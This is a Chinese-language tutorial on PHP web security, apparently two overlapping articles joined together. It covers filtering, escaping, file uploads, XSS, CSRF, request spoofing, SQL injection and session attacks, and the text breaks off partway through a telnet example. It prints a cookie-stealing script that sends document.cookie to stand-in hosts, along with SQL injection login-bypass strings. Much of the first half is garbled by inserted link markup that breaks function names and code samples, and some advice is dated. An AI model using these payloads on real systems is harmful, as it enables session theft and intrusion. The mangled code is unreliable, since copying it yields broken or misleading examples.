php基础安全多方面总结

 

一、简介

1.PHP安全方面的基本功能

1.1全局变量注册

事实上,全局变量是无辜的,它不会产生安全漏洞。

一般我们会关闭全局变量原因是:它会增加安全漏洞的数量;隐藏了数据的来源,与开发者需要随时跟踪数据的责任违背;

注:如果必须在一个开启了register_globals的环境部署应用程序时,重要的一点是,必须要初始化所有变量,并且把error_reporting设为E_ALL(或E_ALL | E_STRICT)以对未初始化变量进行警告。

当register_globals开始时,任何使用未初始化变量的行为就意味着安全漏洞。

 

1.2错误报告" title="错误报告" >错误报告

php的错误报告" title="错误报告" >错误报告方便了我们开发时对错误的确认和定位,但这些错误描述如果被恶意攻击者看到,就不妙了。所以开发结束后我们要关闭错误报告" title="错误报告" >错误报告。

<?php

ini_set('error_reporting', E_ALL | E_STRICT);

ini_set('display_errors', 'Off');

ini_set('log_errors', 'On');

ini_set('error_log', '/usr/local/apache/logs/error_log');

?>

注:也可以通过set_error_handle()函数制定自己的出错处理函数

 

2.PHP安全方面的原则

深度防范:时刻有一个安全备份方案

最小权限:不必要的授权会加大风险

简单是美:没有必要的复杂是糟糕的

最少暴露:尽量降低数据源的被暴露

 

3.PHP安全方面方法

3.1平衡风险和可用性

友好的用户操作与安全措施是一对矛盾,提高安全性的同时,通常会降低可用性。尽量使安全措施对用户透明,使他们感受不到它的存在。

 

3.2跟踪数据

区分可信和不可信数据的来源。

知道数据在哪进入程序,同时知道数据在哪离开程序

审核PHP代码时候有安全漏洞时,主要检查代码中与外部系统交互的部分。

 

3.3过滤输入

步骤:识别输入,过滤输入,区分已过来率及被污染数据

ssion" title="session" >session保存位置与数据库" title="数据库" >数据库看成是输入更安全

防止非法数据进入应用程序

最好的数据过滤方法是把过滤看成是一个检查的过程,不要试图好心的去纠正非法数据!要让用户按照你的规划去做。任何试图纠正非法数据的举动都可能导致潜在错误并允许非法数据通过。只做检查更安全

使用一个命名约定或其他可以帮助你正确和可靠区分已过滤和被污染数据方法

比如,把所有经过滤的数据放入$clean的数组中,

1.初始化$clean为一个空数组

2.加入检查及阻止来自外部数据源的变量命名为 clean

考虑下面的表单,允许用户选择三种颜色中的一种

<form action="process.php" method="POST">

选择一种颜色:

<select name="color">

<option value="red">red</opt ion>

<option value="green">green</op

<option value="blue">blue</opt io

</select>

<input type="submit" />

</form>

在处理这个表单的编程逻辑中,非常容易犯的错误是认为只能提交三个选择中的一个。为了正确地过滤数据,你需要用一个 switch 句" title="句" >句来进行: 

<?php

$clean = array( );

switch($_POST['color'])

{

case 'red':

case 'green':

case 'blue':

$clean['color'] = $_POST['color'];

break;

}

?>

上面的方法对于过滤有一组已知的合法值的数据很有效,但是对于过滤有一组已知合法字符组成的数据时就没有什么帮助。例如,你可能需要一个用户名" title="用户名" >用户名只能由字母及数字组成:

<?php

$clean = array( );

if (ctype_alnum($_POST['username'])){//ctype_alnum():只允许字母和数字

$clean['username'] = $_POST['username'];

}

?>

 

3.4输出转义

输出进行转义或对特殊字符进行编码,以保证原意不变。

例如, O'Sjolzy 在传送给 MySQL 数据库" title="数据库" >数据库前需要转义成 O\'Sjolzy 。

步骤:识别输出输出转义,区分已转义与未转义数据

对于一些常见输出目标(包括客户端数据库" title="数据库" >数据库和 URL )的转义, PHP中有内置函数可用 。

常见输出目标是客户机使用 htmlentities( ) 在数据发出前进行转义

使用 htmlentities( )函数的最佳方式是指定它的两个可选参数引号转义方式(第二参数)及字符集" title="字符集" >字符集(第三 参数)。

<?php

$html = array( );

$html['username'] = htmlent ities($clean['username'], ENT_QUOTES, 'UTF-8');

echo "<p>Welcome back, {$html['username']}.</p>";

?>

注:htmlspecialchars( ) 函数与 htmlent ities( ) 函数基本相同,它们的参数定义完全相同,只不过是htmlent ities( ) 的转义更为彻底。

另外一个常见输出目标是数据库" title="数据库" >数据库。如果可能的话,你需要对 SQL 句" title="句" >句中的数据使用 PHP内建函数进行转义。对于 MySQL用户,最好的转义函数sql" title="mysql" >mysql_real_escape_string( ) 。

<?php

$sql" title="mysql" >mysql = array( );

$sql" title="mysql" >mysql['username'] = sql" title="mysql" >mysql_real_escape_string($clean['username']);

$sql = "SELECT *

FROM profile

WHERE username = '{$sql" title="mysql" >mysql['username']}'";

$result = sql" title="mysql" >mysql_query($sql);

?>

 

二、表单和URL

1 表单数据

在典型的 PHP 应用开发中,大数的逻辑涉及数据处理任务。

数据可能有无数的来源,简单可靠区分两数据:已过滤数据、被污染数据

自己设定的数据可信数据,可以认为是已过滤数据。而所有的输入数据都是被污染的,必须在要在使用前对其进行过滤。

注:数据是关键,而不是变量变量只是数据容器,它往往随着程序的执行而为 被污染数据所覆盖。如果你不希望数据进行变化,可以使用常量来代替define(define)。常量如果不小心被重新赋值,会引起一个级别为Notice的报错信息

一个用户可以通过三种方式向应用程序传输数据

·通过 URL( 如 GET 数据方式 )

·通过一个请求内容(如 POST 数据方式

·通过 HTTP 头部信息(如 Cookie

 

2.义" title="义" >义 URL 攻击

攻击主要包括对 URL 进行编辑以期发现一些有趣的事情

例如,用户 sjolzy 点击了你的软件中的一 个链接并到达了页面 //sjolzy.cn/msg.php?user=sjolzy,很自然地他可能会试图改变 user的值,看看会发生什么。

如果使用ssion" title="session" >session 跟踪,就可以很方便地避免上述情况的发生了。

下面是一个 Webmail 系统的例子:

<?php

ssion" title="session" >session_start();

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email'])){

$clean['email'] = $_POST['email'];

$user = $_SESSION['user'];

$new_password = md5(uniqid(rand(), TRUE));

if ($_SESSION['verified']){

/* Update Password */

mail($clean['email'], 'Your New Password', $new_password);

}

}

?>

上例示范了对用户提供的帐户不加以信任,同时更重要的是使用ssion" title="session" >session变量为保存用户是否正确回答了问题($_SESSION['verified']) ,以及正确回答问题用户 ($_SESSION['user'])。

 

3.文件上传攻击

文件表单中传送时与其它的表单数据不同,你必须指定一个特别的编码方式 multipart/form-data

<form action="upload.php" method="POST" enctype="mult ipart/form-data">

为了更好地演示文件上传机制,下面是一个允许用户上传附件的例子:

<form action="upload.php" method="POST" enctype="mult ipart/form-data">

<p>Please choose a file to upload:

<input type="hidden" name="MAX_FILE_SIZE" value="1024" />

<input type="file" name="attachment" /><br />

<input type="submit" value="Upload Attachment" /></p>

</form>

隐藏的表单变量 MAX_FILE_SIZE 告诉了浏览器最大允许上传文件大小。但这一限制很容易被攻击者绕开,在服务器进行该限制才是可靠的。

PHP 的配置变量中, upload_max_f ilesize 控制最大允许上传文件大小。同时 post_max_size( POST 表单的最大提交数据的大小)也能潜在地进行控制,因为文件是通过表单数据进行上传的。

接收程序 upload.php 显示了超级全局数组 $_FILES 的内容

<?php

header('Content-Type: text/plain');

print_r($_FILES);

?>

PHP提供了两个方便的函数以减轻这些理论上的风险:is_uploaded_file( ) 和move_uploaded_file( )。如果你需要确保tmp_name 中的文件是一个上传文件,你可以用is_uploaded_file( ):

<?php

$lename" title="filename" >filename = $_FILES['attachment']['tmp_name'];

if (is_uploaded_f ile($lename" title="filename" >filename)){

/* $_FILES['attachment']['tmp_name'] is an uploaded file. */

}

?>

如果你希望只把上传文件移到一个固定位置,你可以使用 move_uploaded_file( ) :

<?php

$old_f ilename = $_FILES['attachment']['tmp_name'];

$new_lename" title="filename" >filename = '/path/to/attachment.txt';

if (move_uploaded_f ile($old_f ilename, $new_lename" title="filename" >filename)){

/* $old_lename" title="filename" >filename is an uploaded file, and the move was successful. */

}

?>

最后你可以用filesize( )来校验文件的大小:

<?php

$lename" title="filename" >filename = $_FILES['attachment']['tmp_name'];

if (is_uploaded_file($lename" title="filename" >filename)){

$size = filesize($lename" title="filename" >filename);

}

?>

 

4. 跨站脚本攻击(XSS)

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

如果输入没有正确的进行过滤和转义,跨站脚本漏洞就产生了。

以一个允许在每个页面上录入评论的应用为例,如果一个评论内容包含了如下代码

<script>

document.location ='http://evil.sjolzy.cn/steal.php?ie" title="cookie" >cookies=' +document.ie" title="cookie" >cookie

</script>

如果你的用户察看这个评论时你的用户会在不知不觉中把他们的ie" title="cookie" >cookies( 浏览网站的人 ) 发送evil.sjolzy.cn ,而接收程序 (steal.php) 可以通过 $_GET['ie" title="cookie" >cookies'] 变量防问所有的ie" title="cookie" >cookies。

所以你要用 htmlentities( ) 对任何你要输出客户端数据进行转义

 

5.跨站请求伪造(CSRF)

跨站请求伪造是一种允许攻击者通过受害者发送任意 HTTP 请求的一攻击方法。此处所指的受害者是一个不知情的同谋,所有的伪造请求都由他发起,而不是攻击者。这样,很你就很难确定哪些请求是属于跨站请求伪造攻击。

例如:一个网站用户Bob可能正在浏览聊天论坛,而同时另一个用户Alice也在此论坛中,并且后刚刚发布了一个具有Bob银行链接的图片消息。设想一下,Alice编写了一个在Bob的银行站点上进行取款的form提交的链接,并将此链接作为图片tag。如果Bob的银行在ie" title="cookie" >cookie中保存他的授权信息,并且此ie" title="cookie" >cookie没有过期,那么当Bob的浏览器尝试装载图片时将提交这个取款form和他的ie" title="cookie" >cookie,这样在没经Bob同意的情况下便授权了这次事务。 

CSRF是一种依赖web浏览器的、被混淆过的代理人攻击(deputy attack)。在上面银行示例中的代理人是Bob的web浏览器,它被混淆后误将Bob的授权直接交给了Alice使用。 

跨站请求伪造攻击可以通过 img 标签来实现。

跨站请求伪造攻击的存在是不推荐使用 $_REQUEST 的原因之一。

用几个步骤来减轻伪造请求攻击的风险。使用POST方式而不是GET来提交表单,在处理表单提交时使用$_POST而不是$_REQUEST。

“ 特别需要指出的是,习惯上 GET 与 HEAD 方式应该用于引发一个操作,而只是用于获取信息。这些方式应该被认为是‘ 安全 ’的。客户浏览器应以特殊的方式,如 POST,PUT或 DELETE 方式来使用户意识到正在请求进行的操作可能是不安全的。”

最重要的一点是你要做到能强制使用你自己的表单进行提交。

例:

<?php

ssion" title="session" >session_start();

$token = md5(uniqid(rand(), TRUE));

$_SESSION['token'] = $token;

$_SESSION['token_time'] = time();

//将$_SESSION['token']和$_SESSION['token_time']输出到前台需要提交的表单内作为隐藏元素,然后在提交时判断

//if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])

?>

还可以对验证码加上一个有效时间限制。

 

6.欺骗表单提交

制造一个欺骗表单几乎与假造一个 URL 一样简单,毕竟,表单的提交只是浏览器发出的一个 HTTP请求而已。请求的部分格式取决于表单,某些请求中的数据来自于用户

只要知道表单提交的绝对路径,攻击者就可以随便制造一个经过修改的表单指向这个绝对路径

所以,欺骗表单攻击是不能防止的。但只要正确地过滤了输入,用户就必须要遵守你的规则,这与他们如何提交无关。

 

7.HTTP 请求欺骗

一个比欺骗表单更高级和复杂的攻击方式是 HTTP 请求欺骗。

攻击者可以通过编辑HTTP请求的原始信息来完全控制HTTP头部的值,GET和POST的数据,以及所有 HTTP请求内容

方法如:通过在大系统平台上都提供的Telnet实用程序连接网站服务器的侦听端口(典型的端口为80)来与 Web服务器直接通信。

$ telnet sjolzy.cn 80

Trying 192.0.1.1...

Connected to sjolzy.cn (192.0.34.166).

Escape character is '^]'.

GET / HTTP/1.1

Host: sjolzy.cn

HTTP/1.1 200 OK

Date: Sat, 21 May 2010 12:34:56 GMT

Server: Apache/1.3.31 (Unix)

Accept-Ranges: bytes

Content-Length: 410

Connection: close

Content-Type: text/html

<html>

<head>

<title>Example Web Page</tit le>

</head>

<body>

<>evil script code<>

</body>

</html>

Connection closed by foreign host.

$

上例中所显示的请求是符合 HTTP/1.1 规范的最简单的请求,这是因为 Host 信息是头部信息中所必须有的。一旦你输入了表示请求结束的连续两个换行符,整个 HTML 的回应即显示在屏幕上。

也可以用PHP代码实现:

<?php

$http_response" title="response" >response = '';

$fp = fsockopen('sjolzy.cn', 80);

fputs($fp, "GET / HTTP/1.1\r\n");

fputs($fp, "Host: sjolzy.cn\r\n\r\n");

while (!feof($fp)){

$http_response" title="response" >response .= fgets($fp, 128);

}

fclose($fp);

echo nl2br(htmlent it ies($http_response" title="response" >response, ENT_QUOTES, 'UTF-8'));

?>

所以,再次说明了HTTP 请求提供的任何信息都是不可信的这个事实。

 

三、数据库" title="数据库" >数据库及 SQL

与任何的远程数据存储方式相同,数据库" title="数据库" >数据库本身也存在着一些风险。SELECT句" title="句" >句本身是向数据库" title="数据库" >数据库传送的数据。尽管该句" title="句" >句的目的是取得数据,但句" title="句" >句本身则是输出

要记住数据库" title="数据库" >数据库保存的数据也可能是未过滤的,要对来自数据库" title="数据库" >数据库的数据进行过滤。

 

1.访问权暴露

只要把必须要通过 URL 访问的资源放置在网站目录下即可,其他的可以保存在根目录外。

如果由于外部因素导致无法做到把所有包含文件放在网站目录之外,你可以在 Apache 配置成拒绝对 .inc 资源请求

<Files ~ "\.inc$">

Order allow,deny

Deny from all

</Files>

 

2.SQL注入

SQL 注入是 PHP 应用中最常见的漏洞之一。

开发者要同时犯两个错误才会引发一个 SQL 注入漏洞,一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库" title="数据库" >数据库的数据进行转义转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误

通常开发人员在Mysql句" title="句" >句执行出错时会调用函数sql" title="mysql" >mysql_error() 来报告错误。如,

<?php

sql" title="mysql" >mysql_query($sql) or exit(sql" title="mysql" >mysql_error());

?>

虽然该方法在开发中十分有用,但它能向攻击者暴露重要信息

<?php

$sql = "SELECT *

FROM users

WHERE username = 'myuser' or 'foo' = 'foo' --

AND password = 'a029d0df84eb5549c641e04a9ef389e5'";

?>

由于中间插入了一个 SQL 注释标记,所以查询句" title="句" >句会在此中断。这就允许了一个攻击者在不知道任何合法用户名" title="用户名" >用户名和密码的情况下登录。

如果知道合法的用户名" title="用户名" >用户名,攻击者就可以该用户 ( 如 sjolzy) 身份登录:只要 chris 是合法的用户名" title="用户名" >用户名,攻击者就可以控制该帐号。

<?php

$sql = "SELECT *

FROM users

WHERE username = 'sjolzy' --

AND password = 'a029d0df84eb5549c641e04a9ef389e5'";

?>

幸运的是, SQL 注入是很容易避免的。你必须坚持过滤输入和转义输出

注:关于SQL注入,不得不说的是现在大虚拟主机都会把magic_quotes_gpc 选项打开,在这种情况下所有的客户端GET和POST的数据都会自动进行 addslashes 处理,所以此时对字符串" title="字符串" >字符串值的 SQL 注入是不可行的,但要防止对数字值的 SQL 注入,如用 intval() 等函数进行处理。但如果你编写的是通用软件,则需要读取服务器的 magic_quotes_gpc 后进行相应 处理。

 

四、会话与Cookies

ie" title="cookie" >cookie 盗窃、会话数据暴露、会话固定、及会话劫持。

HTTP 是一种无状态的协议。说明了两个 HTTP 请求之间缺乏联系。 由于协议中未提供任何让客户端标识自己的方法,因此服务器也就无法区分客户端

Cookies 是对 HTTP 协议的扩充。更确切地说,它们由两个 HTTP 头部组成: Set-Cookie响应头部和 Cookie请求头部。当客户端发出对一个特定 URL 的请求时,服务器会在响应选择包含一个 Set-Cookie 头部 。它要求客户端在下面的请求中包含一个相就的 Cookie 头部。

如果根据这个基本概念在每一个请求中包含同一个唯一标识码(在 ie" title="cookie" >cookie 头部中),就能唯一标识客户端从而把它发出的所有请求联系起来。这就是状态所要求的,同时也是这一机制的主要应用。

PHP 内建的会话机制,这些复杂的过程都处理好了,但PHP的会话机制中没有内建的安全处理。除此之外,由于会话标识是完全随机产生的,因此是不可预测的。必须自行建立安全机制以防止所有其它的会话攻击手段。

 

1.Cookie 盗窃

常见ie" title="cookie" >cookie 暴露原因浏览器漏洞和跨站脚本攻击。所以知道新的安全漏洞是很有必要的。

防止 ie" title="cookie" >cookie 盗窃的手段是通过防止跨站脚本漏洞和检测导致 ie" title="cookie" >cookie 暴露的浏览器漏洞相结合。

 

2.会话数据暴露

会话数据常会包含一些个人信息和其它敏感数据。基于这个原因会话数据的暴露是被普遍关心的问题。一般来说,暴露的范围不会很大,因为会话数据是保存在服务器环境中的, 而不是在数据库" title="数据库" >数据库或文件系统中。因此,会话数据自然不会公开暴露。

使用 SSL 是一种特别有效的手段,它可以使数据服务器客户端之间传送时暴露的可能性降到最低。这对于传送敏感数据的应用来说非常重要。 SSL 在 HTTP 之上提供了一个保护,以使所有在 HTTP 请求和应答中的数据都得到了保护。

如果你关心的是会话数据保存区本身的安全,你可以对会话数据进行加密,这样没有正确的密钥就无法读取它的内容。这在 PHP 中非常容易做到,你只要使用ssion" title="session" >session_set_save_handler( )并写上你自己的 ssion" title="session" >session加密存储和解密读取的处理函数即可。

 

3.会话固定

关于会话,需要关注的主要问题会话标识的保密性问题。如果它是保密的,就不会存在会话劫持的风险了。通过一个合法的会话标识,一个攻击者可以非常成功地冒充成为你的某一个用户

一个攻击者可以通过三种方法来取得合法的会话标识:

·猜测

·捕获

·固定

PHP 生成的是随机性很强的会话标识,所以被猜测的风险是不存在的。常见的是通过捕获网络通信数据以得到会话标识。为了避免会话标识被捕获的风险,可以使用 SSL ,同时还要对浏览器漏洞及时修补。

使用ssion" title="session" >session_regenerate_id( ) 函数来防止这种情况的发生。

ssion" title="session" >session_start();

if (!isset($_SESSION['initiated'])){

ssion" title="session" >session_regenerate_id();

$_SESSION['init iated'] = TRUE;

}

这就保证了在会话初始化时能有一个全新的会话标识。攻击的目的是要取得一个能用来劫持会话的标识。

 

4.会话劫持

常见的针对会话的攻击手段是会话劫持。它是所有攻击者可以用来访问其它人的会话的手段的总称。所有这些手段的第一步都是取得一个合法的会话标识来伪装成合法用户,因此保证会话标识不被泄露非常重要。前面几节中关于会话暴露和固定的知识能帮助你保证会话标识只有服务器及合法用户才能知道。

作为一个关心安全的开发者,你的目标应该是使前述的伪装过程变得更复杂。记住无论小的障碍,都会以你的应用提供保护。

PHP开发安全浅谈

==过滤输入/输出转义

过滤是Web应用安全的基础。它是你验证数据合法性的过程。通过在输入时确认对所有的数据进行过滤,你可以避免被污染(未过滤)数据在你的程序中被误信及误用。大多数流行的PHP应用的漏洞最终都是因为没有对输入进行恰当过滤造成的。
有很多种方法过滤数据,其中有一些安全性较高。最好的方法是把过滤看成是一个检查的过程。请不要试图好心地去纠正非法数据,要让你的用户按你的规则去做,历史证明了试图纠正非法数据往往会导致安全漏洞。
另外一个Web应用安全的基础是对输出进行转义或对特殊字符进行编码,以保证原意不变。例如,O’Reilly在传送给MySQL数据库前需要转义成O\’Reilly。单引号前的反斜杠代表单引号是数据本身的一部分,而不是并不是它的本义。

象过滤一样,转义过程在依情形的不同而不同。过滤对于不同类型的数据处理方法也是不同的,转义也是根据你传输信息到不同的系统而采用不同的方法。
为了区分数据是否已转义,还是建议定义一个命名机制。对于输出到客户机的转义数据,使$html数组进行存储,该数据首先初始化成一个空数组,对所有已过滤和已转义数据进行保存。

<?php
     $html = array(     );
     $html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');
     echo "<p>Welcome, {$html['username']}.</p>";
?>
htmlspecialchars( )函数与htmlentities( )函数基本相同,它们的参数定义完全相同,只不过是htmlentities( )的转义更为彻底。
通过$html['username']把username输出到客户端,你就可以确保其中的特殊字符不会被浏览器所错误解释。如果username只包含字母和数字的话,实际上转义是没有必要的,但是这体现了深度防范的原则。转义任何的输出是一个非常好的习惯,它可以戏剧性地提高你的软件的安全性。
另外一个常见的输出目标是数据库。如果可能的话,你需要对SQL语句中的数据使用PHP内建函数进行转义。对于MySQL用户,最好的转义函数是 mysql_real_escape_string( )。如果你使用的数据库没有PHP内建转义函数可用的话,addslashes( )是最后的选择。

==语义URL攻击

例如,如果用户a点击了一个链接并到达了页面http://abc.net/pr.php?user=a, 很自然地可能会试图改变user的值,看看会发生什么。
如果使用session跟踪,可以很方便地避免上述情况的发生:

<?php
     session_start();
     $clean = array();
     $email_pa = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';
     if (preg_match($email_pa, $_POST['email']))
     {
     $clean['email'] = $_POST['email'];
     $user = $_SESSION['user'];
     $new_password = md5(uniqid(rand(), TRUE));
     if ($_SESSION['verified'])
     {
         /* Update Password */
         mail($clean['email'], 'Your New Pass', $new_password);
     }
     }
?>
正是这种不信任的做法是防止你的应用产生漏洞的关键。

==文件上传攻击

有时在除了标准的表单数据外,你还需要让用户进行文件上传。由于文件在表单中传送时与其它的表单数据不同,你必须指定一个特别的编码方式multipart/form-data:

<form action="./upload.php" method="POST" enctype="multipart/form-data">
一个同时有普通表单数据和文件的表单是一个特殊的格式,而指定编码方式可以使浏览器能按该可格式的要求去处理。
允许用户进行选择文件并上传的表单元素是很简单的:

<input type="file" name="attachment" />
该元素在各种浏览器中的外观表现形式各有不同。传统上,界面上包括一个标准的文本框及一个浏览按钮,以使用户能直接手工录入文件的路径或通过浏览选择。在Safari浏览器中只有浏览按钮。幸运的是,它们的作用与行为是相同的。
为了更好地演示文件上传机制,下面是一个允许用户上传附件的例子:

<form action="./upload.php" method="POST" enctype="multipart/form-data">
     <p>Please choose a file to upload:
     <input type="hidden" name="MAX_FILE_SIZE" value="1024" />
     <input type="file" name="attachment" /><br />
     <input type="submit" value="Upload Attachment" /></p>
</form>
隐藏的表单变量MAX_FILE_SIZE告诉了浏览器最大允许上传的文件大小。与很多客户端限制相同,这一限制很容易被攻击者绕开,但它可以为合法用户提供向导。在服务器上进行该限制才是可靠的。
PHP的配置变量中,upload_max_filesize控制最大允许上传的文件大小。同时post_max_size(POST表单的最大提交数据的大小)也能潜在地进行控制,因为文件是通过表单数据进行上传的。
接收程序upload.php显示了超级全局数组$_FILES的内容:

<?php
     header('Content-Type: text/plain');
     print_r($_FILES);
?>
为了理解上传的过程,我们使用一个名为author.txt的文件进行测试,下面是它的内容:
user abc
http://abc.org/[/php]
当你上传该文件到upload.php程序时,你可以在浏览器中看到类似下面的输出:

[php]Array
     (
         [attachment] => Array
             (
                     [name] => author.txt
                     [type] => text/plain
                     [tmp_name] => /tmp/phpShfltt
                     [error] => 0
                     [size] => 36
             )    
      )
虽然从上面可以看出PHP实际在超级全局数组$_FILES中提供的内容,但是它无法给出表单数据的原始信息。
由于PHP在文件系统的临时文件区保存上传的文件,所以通常进行的操作是把它移到其它地方进行保存及读取到内存。如果你不对tmp_name作检查以确保它是一个上传的文件(而不是/etc/passwd之类的东西),存在一个理论上的风险。之所以叫理论上的风险,是因为没有一种已知的攻击手段允许攻击者去修改tmp_name的值。但是,没有攻击手段并不意味着你不需要做一些简单的安全措施。新的攻击手段每天在出现,而简单的一个步骤能保护你的系统。
PHP提供了两个方便的函数以减轻这些理论上的风险:is_uploaded_file( ) and move_uploaded_file( )。如果你需要确保tmp_name中的文件是一个上传的文件,你可以用
is_uploaded_file( ):

<?php
     $filename = $_FILES['attachment']['tmp_name'];
     if (is_uploaded_file($filename))
     {
     /* $_FILES['attachment']['tmp_name'] is an uploaded file. */
     }
     ?>
最后你可以用 filesize( ) 来校验文件的大小:

<?php
     $filename = $_FILES['attachment']['tmp_name'];      if (is_uploaded_file($filename))
     {
     $size = filesize($filename);
     }
?>
这些安全措施的目的是加上一层额外的安全保护层。最佳的方法是永远尽可能少地去信任。而且所有的输入都是有害的。

==跨站脚本攻击

所有有输入的应用都面临着风险。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。
以一个允许在每个页面上录入评论的应用为例,它使用了下面的表单帮助用户进行提交:

<form action="./comment.php" method="POST" />
     <p>Name: <input type="text" name="name" /><br />
     Comment: <textarea name="comment" rows="10" cols="60"></textarea><br />
     <input type="submit" value="Add Comment" /></p>
</form>
程序向其他访问该页面的用户显示评论。例如,类似下面的代码段可能被用来输出一个评论($comment)及与之对应的发表人($name):

<?php
     echo "<p>$name writes:<br />";
     echo "<blockquote>$comment</blockquote></p>";
?>
这个流程对$comment及$name的值给予了充分的信任,想象一下它们中的一个的内容中包含如下代码:

<script>
     document.location =
     'http://a.abc.net/s.php?cookies=' +
     document.cookie
</script>
如果你的用户察看这个评论时,这与你允许别人在你的网站源程序中加入Javascript代码无异。你的用户会在不知不觉中把他们的cookies(浏览网站的人)发送到a.abc.net,而接收程序(s.php)可以通过$_GET['cookies']变量防问所有的cookies。
这是一个常见的错误,主要是由于不好的编程习惯引发的。幸运的是此类错误很容易避免。由于这种风险只在你输出了被污染数据时发生,所以只要确保做到如第一章所述的过滤输入及转义输出即可
最起码你要用htmlentities( )对任何你要输出到客户端的数据进行转义。该函数可以把所有的特殊字符转换成HTML表示方式。所有会引起浏览器进行特殊处理的字符在进行了转换后,就能确保显示出来的是原来录入的内容。

==跨站请求伪造

跨站请求伪造(CSRF)是一种允许攻击者通过受害者发送任意HTTP请求的一类攻击方法。此处所指的受害者是一个不知情的同谋,所有的伪造请求都由他发起,而不是攻击者。这样,很你就很难确定哪些请求是属于跨站请求伪造攻击。事实上,如果没有对跨站请求伪造攻击进行特意防范的话,你的应用很有可能是有漏洞的。
你需要用几个步骤来减轻跨站请求伪造攻击的风险。一般的步骤包括使用POST方式而不是使用GET来提交表单,在处理表单提交时使用$_POST而不是$_REQUEST,同时需要在重要操作时进行验证(越是方便,风险越大,你需要求得方便与风险之间的平衡)。
任何需要进行操作的表单都要使用POST方式。在RFC 2616(HTTP/1.1传送协议,译注)的9.1.1小节中有一段描述:
“特别需要指出的是,习惯上GET与HEAD方式不应该用于引发一个操作,而只是用于获取信息。这些方式应该被认为是‘安全’的。客户浏览器应以特殊的方式,如POST,PUT或Delete方式来使用户意识到正在请求进行的操作可能是不安全的。”
最重要的一点是你要做到能强制使用你自己的表单进行提交。尽管用户提交的数据看起来象是你表单的提交结果,但如果用户并不是在最近调用的表单,这就比较可疑了。请看下面对前例应用更改后的代码:

<?php     
     session_start();
     $token = md5(uniqid(rand(), TRUE));
     $_SESSION['token'] = $token;
     $_SESSION['token_time'] = time();
     ?>
     <form action="buy.php" method="POST">
     <input type="hidden" name="token" value="<?php echo $token; ?>" />
     <p>
     Item:
     <select name="item">
     <option name="pen">pen</option>
     <option name="pencil">pencil</option>
     </select><br />
     Quantity: <input type="text" name="quantity" /><br />
     <input type="submit" value="Buy" />
     </p>
     </form>
通过这些简单的修改,一个跨站请求伪造攻击就必须包括一个合法的验证码以完全模仿表单提交。由于验证码的保存在用户的session中的,攻击者必须对每个受害者使用不同的验证码。这样就有效的限制了对一个用户的任何攻击,它要求攻击者获取另外一个用户的合法验证码。使用你自己的验证码来伪造另外一个用户的请求是无效的。 该验证码可以简单地通过一个条件表达式来进行检查:

<?php    
     if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
     {
     }
?>
你还能对验证码加上一个有效时间限制,如5分钟:

<?php     
     $token_age = time() - $_SESSION['token_time'];      if ($token_age <= 300)
     {
     }
?>
通过在你的表单中包括验证码,你事实上已经消除了跨站请求伪造攻击的风险。可以在任何需要执行操作的任何表单中使用这个流程。
尽管我使用img标签描述了攻击方法,但跨站请求伪造攻击只是一个总称,它是指所有攻击者通过伪造他人的HTTP请求进行攻击的类型。已知的攻击方法同时包括对GET和POST的攻击,所以不要认为只要严格地只使用POST方式就行了。

==欺骗表单提交

制造一个欺骗表单几乎与假造一个URL一样简单。毕竟,表单的提交只是浏览器发出的一个HTTP请求而已。请求的部分格式取决于表单,某些请求中的数据来自于用户。
大多数表单用一个相对URL地址来指定action属性:

<form action="./pr.php" method="POST">
当表单提交时,浏览器会请求action中指定的URL,同时它使用当前的URL地址来定位相对URL。则在用户提交表单后会请求URL地址http://abc.net/pr.php
知道了这一点,很容易就能想到你可以指定一个绝对地址,这样表单就可以放在任何地方了:

<form action="http://abc.net/pr.php" method="POST">
这个表单可以放在任何地方,并且使用这个表单产生的提交与原始表单产生的提交是相同的。意识到这一点,攻击者可以通过查看页面源文件并保存在他的服务器上,同时将action更改为绝对URL地址。通过使用这些手段,攻击者可以任意更改表单,如取消最大字段长度限制,取消本地验证代码,更改隐藏字段的值,或者出于更加灵活的目的而改写元素类型。这些更改帮助攻击者向服务器提交任何数据,同时由于这个过程非常简便易行,攻击者无需是一个专家即可做到。
欺骗表单攻击是不能防止的,尽管这看起来有点奇怪,但事实上如此。不过这你不需要担心。一旦你正确地过滤了输入,用户就必须要遵守你的规则,这与他们如何提交无关。

==HTTP请求欺骗

一个比欺骗表单更高级和复杂的攻击方式是HTTP请求欺骗。这给了攻击者完全的控制权与灵活性,它进一步证明了不能盲目信任用户提交的任何数据。
请看下面位于http://abc.net/form.php的表单:

<form action="process.php" method="POST">
     <p>Please select a color:
     <select name="color">
     <option value="red">Red</option>
     <option value="green">Green</option>
     <option value="blue">Blue</option>
     </select><br />
     <input type="submit" value="Select" /></p>
</form>
如果用户选择了Red并点击了Select按钮后,浏览器会发出下面的HTTP请求:

POST /process.php HTTP/1.1
     Host: abc.net
     User-Agent: Mozilla/5.0 (X11; U; Linux i686)
     Referer: http://abc.net/form.php
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 9      color=red
看到大多数浏览器会包含一个来源的URL值,你可能会试图使用$_SERVER['HTTP_REFERER']变量去防止欺骗。确实,这可以用于对付利用标准浏览器发起的攻击,但攻击者是不会被这个小麻烦给挡住的。通过编辑HTTP请求的原始信息,攻击者可以完全控制HTTP头部的值,GET和POST 的数据,以及所有在HTTP请求的内容。
攻击者如何更改原始的HTTP请求?过程非常简单。通过在大多数系统平台上都提供的Telnet实用程序,你就可以通过连接网站服务器的侦听端口(典型的端口为80)来与Web服务器直接通信。下面就是使用这个技巧请求http://abc.net/页面的例子:

$ telnet abc.net 80
     Trying 192.0.34.166...
     Connected to abc.net (192.0.34.166).
     Escape character is '^]'.
     GET / HTTP/1.1
     Host: abc.net      HTTP/1.1 200 OK
     Date: Sat, 21 May 2005 12:34:56 GMT
